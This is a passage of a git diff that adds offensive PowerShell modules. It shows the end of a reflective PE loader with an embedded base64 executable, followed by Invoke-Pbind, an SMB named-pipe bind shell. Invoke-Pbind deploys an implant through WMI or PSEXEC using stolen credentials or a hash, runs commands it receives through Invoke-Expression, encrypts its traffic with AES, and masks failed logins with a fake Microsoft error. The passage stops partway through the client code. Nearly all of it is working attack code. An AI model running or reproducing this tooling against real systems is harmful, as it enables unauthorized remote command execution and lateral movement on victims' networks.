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HT40Pm4+9j4AwAAAMAAAAFYyaDLcNeA15DXoNew18DX0Nfg1/DUANgQ2CDbrOkI7hTs/PQA+AAAA0AAAIAAAAAgzEzN2NKY0VjdGOQQ6HTosOk06hTriOgDgAABEAAAAHjVVN2A3cDeiN9o39jf7Nwo4NzhLOFo45TgAORk5ezm4OdE56zkDOjY6PjpSOlg6fDq/Oto68Tr3OgAAAPAAADQAAAA0MUAxRDFIMUwxWDFcMWAxCD4MPhA+KD4sPjA+aD5sPnA+dD54Pnw+gD6EPgAAAQBAAAAALDI0MjwyRDJMMlQyXDJkMmwydDJ8MoQyjDKUMpwypDKsMrQyvDLEMswy1DLcMow8kDyUPJg8AAAAEAEA0AAAABgxHDEgMSQxKDEsMTAxNDE4MTwxQDFEMUgxTDFQMVQxWDFcMWAxZDFoMWwxcDF0MXgxfDGAMYQxiDGMMZAxlDGYMZwxoDGkMagxrDGwMbQxuDG8McAxxDHIMcwx0DHUMdgx3DHgMeQx6DHsMfAx9DH4MfwxADIEMggyDDIQMhQyGDIcMiAyJDIoMiwyMDI0MjgyPDJAMkQySDJMMlAyVDJYMlwyYDJkMmgybDJwMnQyeDJ8MoAyhDKIMowykDKUMpgynDKgMgAAACABAJgDAADUMNww5DDsMPQw/DAEMQwxFDEcMSQxLDE0MTwxRDFMMVQxXDFkMWwxdDF8MYQxjDGUMZwxpDGsMbQxvDHEMcwx1DHcMeQx7DH0MfwxBDIMMhQyHDIkMiwyNDI8MkQyTDJUMlwyZDJsMnQyfDKEMowylDKcMqQyrDK0MrwyxDLMMtQy3DLkMuwy9DL8MgQzDDMUMxwzJDMsMzQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8QzzDPUM9wz5DPsM/Qz/DMENAw0FDQcNCQ0LDQ0NDw0RDRMNFQ0XDRkNGw0dDR8NIQ0jDSUNJw0pDSsNLQ0vDTENMw01DTcNOQ07DT0NPw0BDUMNRQ1HDUkNSw1NDU8NUQ1TDVUNVw1ZDVsNXQ1fDWENYw1lDWcNaQ1rDW0Nbw1xDXMNdQ13DXkNew19DX8NQQ2DDYUNhw2JDYsNjQ2PDZENkw2VDZcNmQ2bDZ0Nnw2hDaMNpQ2nDakNqw2tDa8NsQ2zDbUNtw25DbsNvQ2/DYENww3FDccNyQ3LDc0Nzw3RDdMN1Q3XDdkN2w3dDd8N4Q3jDeUN5w3pDesN7Q3vDfEN8w31DfcN+Q37DfwN/g3ADgIOBA4GDggOCg4MDg4OEA4SDhQOFg4YDhoOHA4eDiAOIg4kDiYOKA4qDiwOLg4wDjIONA42DjgOOg48Dj4OAA5CDkQORg5IDkoOTA5ODlAOUg5UDlYOWA5aDlwOXg5gDmIOZA5mDmgOag5sDm4OcA5yDnQOdg54DnoOfA5+DkAOgg6EDoYOiA6KDowOjg6QDpIOlA6WDpgOmg6cDp4OoA6iDqQOpg6oDqoOrA6uDrAOsg60DrYOuA66DrwOvg6ADsIOxA7GDsgOyg7MDs4O0A7SDtQO1g7YDtoO3A7eDuAO4g7kDuYO6A7qDuwO7g7wDvIO9A72DvgO+g78Dv4OwA8CDwQPBg8IDwoPDA8ODxAPEg8UDxYPGA8aDxwPHg8gDyIPJA8mDygPKg8sDy4PMA8yDzQPNg84DzoPPA8+DwAPQg9ED0YPSA9KD0wPTg9QD1IPVA9WD1gPWg9cD14PYA9iD2QPZg9oD2oPbA9uD3APcg90D3YPeA96D3wPfg9AD4IPhA+GD4gPig+MD44PkA+SD5QPlg+YD5oPnA+eD6APog+kD6YPqA+qD6wPrg+wD7IPtA+2D7gPug+8D74PgA/CD8AQAEA5AAAAOAxDDJMMlAyWDJwMoAyhDKYMpwyrDKwMrQyvDLUMuQy6DL4MvwyDDMQMxgzMDNAM0QzVDNYM1wzZDN8M7QzwDPkMwQ0DDQUNBw0JDQsNDQ0PDRANEg0XDRkNHg0mDS4NNQ02DT4NAQ1IDUsNUQ1SDVkNWg1iDWQNZQ1sDW4Nbw11DXYNfQ1+DUINiw2ODZANmw2cDZ4NoA2iDaMNpQ2qDbINug2CDcoN0g3aDd0N5A3sDfQN+w38DcQODA4UDhwOJA4sDjQOPA4EDksOTA5TDlQOVg5YDloOXA5hDkAkAEADAAAAAg4EDgAoAEAIAEAAKwxqDKsMrAytDK4MrwywDLEMsgyzDLQMtQy2DLcMuAy5DLoMuwy8DL0Mvgy/DIAMwQzCDMMMxAzFDMYMxwzIDMkMygzLDMwMzQzODM8M0AzRDNIM0wzUDNcM2AzZDNoM2wzcDN0M3gzfDOAM4QziDOMM5AzlDOYM5wzoDOkM6gzrDOwM7QzuDO8M8AzxDPIM8wz0DPUM9gz3DPgM+Qz6DPsM/Az9DP4M/wzADQENAg0DDQ0NEQ0VDRkNHQ0lDSgNKQ0qDSsNMw00DTUNNg03DTgNOQ06DTsNPA09DT4NCA1KDUsNTA1NDU4NTw1QDVENUg1TDVYNVw1YDVkNWg1bDVwNXQ1fDWANZA13DjwOAw5KDlAOWA5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + + + #Add a "program name" to exeargs, just so the string looks as normal as possible (real args start indexing at 1) + if ($ExeArgs -ne $null -and $ExeArgs -ne '') + { + $ExeArgs = "ReflectiveExe $ExeArgs" + } + else + { + $ExeArgs = "ReflectiveExe" + } + + [System.IO.Directory]::SetCurrentDirectory($pwd) + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, $FuncReturnType, $ProcId, $ProcName,$ForceASLR, $PoshCode) + +} + +Main +} + diff --git a/Modules/Invoke-Pbind.ps1 b/Modules/Invoke-Pbind.ps1 new file mode 100644 index 0000000..dd939a1 --- /dev/null +++ b/Modules/Invoke-Pbind.ps1 @@ -0,0 +1,838 @@ +<# + + File: Invoke-Pbind.ps1 + Author: Doug McLeod (@b4ggio_su) + Author: Ben Turner (@bturner) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +#> + +Function Invoke-Pbind { + +<# +.SYNOPSIS + +The Invoke-Pbind is an SMB bind shell that overlays SMB by communicating over a named pipe. +Incorperating input from @bturner Invoke-Pipekat tool and Invoke-WMIExec from @kevin_robertson + +.DESCRIPTION + +When in a locked down environment and needing to deploy a bind shell, Invoke-Pbind, will execute an implant on the target +endpoint (using WMI as default or PSEXEC) and then connect to the host over the created named pipe. This comms method does +not beacon and instead creates one connection to stream data. The client executes in a runspace with functions (pbind-command +and pbind-module) to interacte with the implant on the target workstation. If it is not possible to deploy over wmi or psexec, +then use the exe option to create a bind shell executable and deploy manually, before connecting with the client. + +Interacting with the Implant +################################################################################### +# # +# 1. Load Modules: PS C:\> Pbind-module "c:\modules folder\powerview.ps1" # +# # +# 2. Send Commands to Implant: PS C:\> Pbind-Command "net user administrator" # +# # +# 3. Kill Implant: PS C:\> PBind-Kill # +# # +################################################################################### + +.PARAMETER target + +Specifies the computer name or ip address of the target system the implant should be deployed or the client should connect to. + +.PARAMETER domain + +Specifies the domain name used as part of the authentication against the target machine. + +.PARAMETER user + +Specifies the username used as part of the authentication against the target machine. + +.PARAMETER password + +Specifies the password used as part of the authentication against the target machine. + +.PARAMETER key + +Specifies the key used by AES to encrypt and decrypt traffic. Must be the correct size. Should only be manually configured when used in client mode. + +.PARAMETER secret + +Specifies a value that is exchanged between the client and the implant at first connection. If the wrong secret is exchanged the pipe is closed + +.PARAMETER pname + +Specifies a hard coded pipe name to be used. Most commonly used in client mode to define the pipe on the target. + +.PARAMETER timeout + +Allows a user configurable option to specify the timeout used by the client to connect to the implant before giving up. Default 60 seconds. + +.PARAMETER dir + +Specifies the output directory used when in EXE mode. + +.PARAMETER automation + +Specifies the directory used to store the 'System.Management.Automation.dll' for use in compiling the implant. + +.PARAMETER psexec + +Specifies the use of PSEXEC instead of WMI as a deployment mechanism. + +.PARAMETER client + +Switches mode to client only mode, disabling the deployment feature. + +.PARAMETER exe + +Switches to executable mode, used to create a stand alone implant to be manually deployed. + +.EXAMPLE +Invoke-Pbind -Target 10.0.0.100 -Domain LAB -User Admin -Password Password1 + +.EXAMPLE +Invoke-Pbind -Target 10.0.0.100 -Domain LAB -User Admin -Password Password1 -PSexec + +.EXAMPLE +Invoke-Pbind -Target 10.0.0.100 -Domain LAB -User Admin -Hash AAAAAAAAAAAAAAAAAAAAAAAAA -PSexec + +.EXAMPLE +Invoke-Pbind -Target 10.0.0.100 -Domain . -User Admin -Password Password1 -timeout 10000 + +.EXAMPLE +Invoke-pbind -target 10.0.0.100 -dir "c:\pbind-out" -automation "C:\pbind-in" -exe + +.EXAMPLE +Invoke-pbind -target 10.0.0.100 -secret do1gu -key jhPtfSwdNCWkks3qcDcj8OYtT/a3QY9VS/3HMX+54RQ= -pname ndv4ut7fyg -client + +#> + +Param ( + [Parameter(Mandatory = $false)] + [string]$target, + [Parameter(Mandatory = $false)] + [string]$domain, + [Parameter(Mandatory = $false)] + [string]$user, + [Parameter(Mandatory = $false)] + [string]$password, + [Parameter(Mandatory = $false)] + [string]$key, + [Parameter(Mandatory = $False)] + [string]$secret, + [Parameter(Mandatory = $False)] + [string]$pname, + [Parameter(Mandatory = $false)] + [int]$timeout=60000, + [Parameter(Mandatory = $False)] + [string]$dir, + [Parameter(Mandatory = $False)] + [string]$automation, + [Parameter(Mandatory = $false)] + [switch]$psexec, + [Parameter(Mandatory = $false)] + [switch]$client, + [Parameter(Mandatory = $false)] + [switch]$exe + ) +$global:pipestate = [HashTable]::Synchronized(@{}) +$pipestate.log = New-Object System.Collections.ArrayList +$pipestate.command = $null +$pipestate.state = $false + +function Random-Pipe +{ + param ( + [int]$Length + ) + $set = 'abcdefghijklmnopqrstuvwxyz0123456789'.ToCharArray() + $result = '' + for ($x = 0; $x -lt $Length; $x++) + {$result += $set | Get-Random} + return $result +} + +# creates a randon AES managed object +function Create-AesManagedObject +{ + param + ([Object] + $key, + [Object] + $IV) + $aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + $aesManaged.BlockSize = 128 + $aesManaged.KeySize = 256 + if ($IV) + { + if ($IV.getType().Name -eq 'String') + {$aesManaged.IV = [System.Convert]::FromBase64String($IV)} + else + {$aesManaged.IV = $IV} + } + if ($key) + { + if ($key.getType().Name -eq 'String') + {$aesManaged.Key = [System.Convert]::FromBase64String($key)} + else + {$aesManaged.Key = $key} + } + $aesManaged +} + +# creates a randon AES symetric encryption key +function Create-AesKey() +{ + $aesManaged = Create-AesManagedObject + $aesManaged.GenerateKey() + [System.Convert]::ToBase64String($aesManaged.Key) +} + +# encryption utility using Rijndael encryption, an AES equivelant, returns encrypted base64 block +function Encrypt-String +{ + param + ( + [Object] + $key, + [Object] + $unencryptedString + ) + + $bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString) + $aesManaged = Create-AesManagedObject $key + $encryptor = $aesManaged.CreateEncryptor() + $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) + [byte[]] $fullData = $aesManaged.IV + $encryptedData + [System.Convert]::ToBase64String($fullData) +} + +# decryption utility using Rijndael encryption, an AES equivelant, returns unencrypted UTF8 data +function Decrypt-String +{ + param + ( + [Object] + $key, + [Object] + $encryptedStringWithIV + ) + $bytes = [System.Convert]::FromBase64String($encryptedStringWithIV) + $IV = $bytes[0..15] + $aesManaged = Create-AesManagedObject $key $IV + $decryptor = $aesManaged.CreateDecryptor() + $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16) + [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0) +} + + + +if (!$key){ +$key = Create-AesKey +} +if (!$pname){ +$pname = Random-Pipe 10 +} +if (!$secret){ +$secret = Random-Pipe 5 +} + +# creates a randon AES managed object +$s_scriptblock = @" +function Create-AesManagedObject +{ + param + ( + [Object] + `$key, + [Object] + `$IV + ) + `$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + `$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + `$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + `$aesManaged.BlockSize = 128 + `$aesManaged.KeySize = 256 + if (`$IV) + { + if (`$IV.getType().Name -eq 'String') + {`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)} + else + {`$aesManaged.IV = `$IV} + } + if (`$key) + { + if (`$key.getType().Name -eq 'String') + {`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)} + else + {`$aesManaged.Key = `$key} + } + `$aesManaged +} + +function Encrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$unencryptedString + ) + + `$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString) + `$aesManaged = Create-AesManagedObject `$key + `$encryptor = `$aesManaged.CreateEncryptor() + `$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length) + [byte[]] `$fullData = `$aesManaged.IV + `$encryptedData + [System.Convert]::ToBase64String(`$fullData) +} +function Decrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$encryptedStringWithIV + ) + `$bytes = [System.Convert]::FromBase64String(`$encryptedStringWithIV) + `$IV = `$bytes[0..15] + `$aesManaged = Create-AesManagedObject `$key `$IV + `$decryptor = `$aesManaged.CreateDecryptor() + `$unencryptedData = `$decryptor.TransformFinalBlock(`$bytes, 16, `$bytes.Length - 16) + [System.Text.Encoding]::UTF8.GetString(`$unencryptedData).Trim([char]0) +} + +function invoke-pserv { +param (`$secret, `$key, `$pname) + +add-Type -assembly 'System.Core' +`$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity +`$AccessRule = New-Object System.IO.Pipes.PipeAccessRule( 'Everyone', 'ReadWrite', 'Allow' ) +`$PipeSecurity.AddAccessRule(`$AccessRule) +`$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream(`$pname,'InOut',100, 'Byte', 'None', 4096, 4096, `$PipeSecurity) + +try { + 'Waiting for client connection' + `$pipe.WaitForConnection() + 'Connection established' + + `$pipeReader = new-object System.IO.StreamReader(`$pipe) + `$pipeWriter = new-object System.IO.StreamWriter(`$pipe) + `$pipeWriter.AutoFlush = `$true + + `$PPass = `$pipeReader.ReadLine() + + + while (1) + { + if (`$PPass -ne `$secret) { + `$pipeWriter.WriteLine('Microsoft Error: 151337') + } + + else { + + while (1) { + `$encCommand = Encrypt-String -unencryptedString 'COMMAND' -Key `$key + `$pipeWriter.WriteLine(`$encCommand) + + `$command = `$pipeReader.ReadLine() + `$decCommand = Decrypt-String -key `$key -encryptedStringWithIV `$command + + if (`$deccommand) { + try { + if (`$decCommand -eq 'KILLPIPE'){exit} + `$res = Invoke-Expression `$decCommand | out-string + `$res = `$res + '123456PS ' + (Get-Location).Path + '>654321' + } catch { + `$res = 'ErrorUpload: ' + `$error[0] + } + `$fileContentBytes = [System.Text.Encoding]::Unicode.GetBytes(`$res) + `$res = [System.Convert]::ToBase64String(`$fileContentBytes) + `$encCommand2 = Encrypt-String -unencryptedString `$res -Key `$key + `$pipeWriter.WriteLine(`$encCommand2) + `$pipeWriter.Flush() + } + elseif (!`$decCommand) { + `$encshit = Encrypt-String -unencryptedString 'shit went wrong' -Key `$key + `$pipeWriter.WriteLine(`$encshit) + break + } + + } + } + `$encGo = Encrypt-String -unencryptedString 'GOAGAIN' -Key `$key + `$pipeWriter.WriteLine(`$encGo) + `$encSure = Encrypt-String -unencryptedString 'SURE' -Key `$key + `$pipeWriter.WriteLine(`$encSure) + `$command = `$pipeReader.ReadLine() + `$decCommand = Decrypt-String -key `$key -encryptedStringWithIV `$command + if (`$decCommand -eq 'EXIT') { break } + } + + Start-Sleep -Seconds 2 +} +finally { + `$pipe.Dispose() +} +} +invoke-pserv -secret $secret -key $key -pname $pname +"@ + +$c_scriptblock = @" +function Create-AesManagedObject +{ + param + ( + [Object] + `$key, + [Object] + `$IV + ) + `$aesManaged = New-Object -TypeName 'System.Security.Cryptography.RijndaelManaged' + `$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC + `$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros + `$aesManaged.BlockSize = 128 + `$aesManaged.KeySize = 256 + if (`$IV) + { + if (`$IV.getType().Name -eq 'String') + {`$aesManaged.IV = [System.Convert]::FromBase64String(`$IV)} + else + {`$aesManaged.IV = `$IV} + } + if (`$key) + { + if (`$key.getType().Name -eq 'String') + {`$aesManaged.Key = [System.Convert]::FromBase64String(`$key)} + else + {`$aesManaged.Key = `$key} + } + `$aesManaged +} +function Encrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$unencryptedString + ) + + `$bytes = [System.Text.Encoding]::UTF8.GetBytes(`$unencryptedString) + `$aesManaged = Create-AesManagedObject `$key + `$encryptor = `$aesManaged.CreateEncryptor() + `$encryptedData = `$encryptor.TransformFinalBlock(`$bytes, 0, `$bytes.Length) + [byte[]] `$fullData = `$aesManaged.IV + `$encryptedData + [System.Convert]::ToBase64String(`$fullData) +} +function Decrypt-String +{ + param + ( + [Object] + `$key, + [Object] + `$encryptedStringWithIV + ) + `$bytes = [System.Convert]::FromBase64String(`$encryptedStringWithIV) + `$IV = `$bytes[0..15] + `$aesManaged = Create-AesManagedObject `$key `$IV + `$decryptor = `$aesManaged.CreateDecryptor() + `$unencryptedData = `$decryptor.TransformFinalBlock(`$bytes, 16, `$bytes.Length - 16) + [System.Text.Encoding]::UTF8.GetString(`$unencryptedData).Trim([char]0) +} +function invoke-pclient { +param (`$Target, `$secret, `$key, `$pname, `$timeout) +Add-Type -assembly 'System.Core' +`$pipec = new-object System.IO.Pipes.NamedPipeClientStream(`$Target, `$pname, [System.IO.Pipes.PipeDirection]::InOut, + [System.IO.Pipes.PipeOptions]::None, + [System.Security.Principal.TokenImpersonationLevel]::Impersonation) +`$pipeReader = `$pipeWriter = `$null +try { + `$pipec.Connect(`$timeout) + 'Connected to Pipe' + `$pipestate.state = `$true + + `$pipeReader = new-object System.IO.StreamReader(`$pipec) + `$pipeWriter = new-object System.IO.StreamWriter(`$pipec) + `$pipeWriter.AutoFlush = `$true + + `$pipeWriter.WriteLine(`$secret) + + + while (1) { + 